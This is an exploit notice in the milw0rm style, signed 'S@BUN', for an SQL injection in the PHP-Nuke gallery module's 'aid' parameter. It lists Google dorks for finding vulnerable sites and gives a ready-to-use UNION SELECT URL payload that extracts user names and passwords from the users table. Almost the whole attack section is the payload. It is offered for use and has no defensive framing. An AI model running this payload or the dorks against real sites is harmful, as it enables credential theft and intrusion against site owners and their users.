###############################################################=0D
# =0D
#   php nuke gallery SQL Injection(aid)=0D
#=0D
###############################################################=0D
#=0D
# AUTHOR : S@BUN =0D
#=0D
# HOME : http://www.milw0rm.com/author/1334=0D 
#   =0D
# MAİL : hackturkiye.hackturkiye@gmail.com=0D 
#        =0D
################################################################=0D
# =0D
#  DORK 1 : allinurl:"index.php?module=gallery"aid=0D
# =0D
#  DORK 2 : allinurl: =0D
#=0D
################################################################=0D
   EXPLOIT : =0D
=0D
index.php?module=gallery&command=showalbum&aid=-9999999/**/union/**/select/**/concat(name,0x3a,pass),1,2,3,4,5/**/from/**/users/*where%20admin1/**=0D
=0D
################################################################=0D
# S@BUN           i AM NOT HACKER      S@BUN =0D
################################################################